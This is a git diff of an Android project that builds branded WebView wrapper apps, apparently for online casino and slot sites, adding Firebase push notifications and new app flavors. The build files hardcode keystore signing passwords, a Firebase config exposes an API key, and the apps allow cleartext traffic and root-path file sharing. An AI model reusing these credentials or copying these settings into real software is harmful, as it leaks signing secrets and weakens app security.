styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -28,7 +28,6 @@ android {
//app ID
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://cucislot365.com/\""
buildConfigField "int", "USERID", "242"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "false"

View File

@@ -65,7 +65,6 @@ public class IndexActivity extends MainActivity {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'diriwan888')
buildConfigField "String", "BASE_URL", "\"https://diriwan888.pro/\""
buildConfigField "int", "USERID", "265"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', 'FIGHT996')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://fight996au.com/\""
//后台唯一ID
buildConfigField "int", "USERID", "259"
//状态栏文字颜色是否为白色

View File

@@ -67,7 +67,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'GEM9BET')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "53"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'GG66AU')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "198"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
gk9/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
gk9/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "gk9"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.xyz.gk9webclip"
//app大背景色
resValue('color', 'windows_color', '#1A1A1A')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#1A1A1A')
//app 名字
resValue('string', 'app_name', 'Gk9')
buildConfigField "int", "USERID", "213"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "false"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

Binary file not shown.

BIN
gk9/justlet.jks Normal file

Binary file not shown.

32
gk9/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
gk9/telur33.jks Normal file

Binary file not shown.

View File

@@ -6,11 +6,12 @@
# http://www.gradle.org/docs/current/userguide/build_environment.html
# Specifies the JVM arguments used for the daemon process.
# The setting is particularly useful for tweaking memory settings.
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
org.gradle.jvmargs=-Xmx4g -XX:MaxMetaspaceSize=1g -Dfile.encoding=UTF-8
# When configured, Gradle will run in incubating parallel mode.
# This option should only be used with decoupled projects. For more details, visit
# https://developer.android.com/r/tools/gradle-multi-project-decoupled-projects
# org.gradle.parallel=true
org.gradle.parallel=true
org.gradle.caching=true
# AndroidX package structure to make it clearer which packages are bundled with the
# Android operating system, and which are packaged with your app's APK
# https://developer.android.com/topic/libraries/support-library/androidx-rn

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'JK123hk')
buildConfigField "String", "BASE_URL", "\"https://jk123hk.com/\""
buildConfigField "int", "USERID", "263"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'JKPOKIES')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "283"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'JL8AU')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "285"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
jpot9/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
jpot9/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "jpot9"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.asjdba.jpot9"
//app大背景色
resValue('color', 'windows_color', '#5C0800')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#741907')
//app 名字
resValue('string', 'app_name', 'JPOT9')
buildConfigField "int", "USERID", "309"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "false"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "324671180568",
"project_id": "jpot9-d02d7",
"storage_bucket": "jpot9-d02d7.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:324671180568:android:d6a6a0338dbb7d6a30986d",
"android_client_info": {
"package_name": "com.asjdba.jpot9"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyDbuPYOVteovTnBbbp0MSgd4Go1I6rUXBw"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
jpot9/justlet.jks Normal file

Binary file not shown.

32
jpot9/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
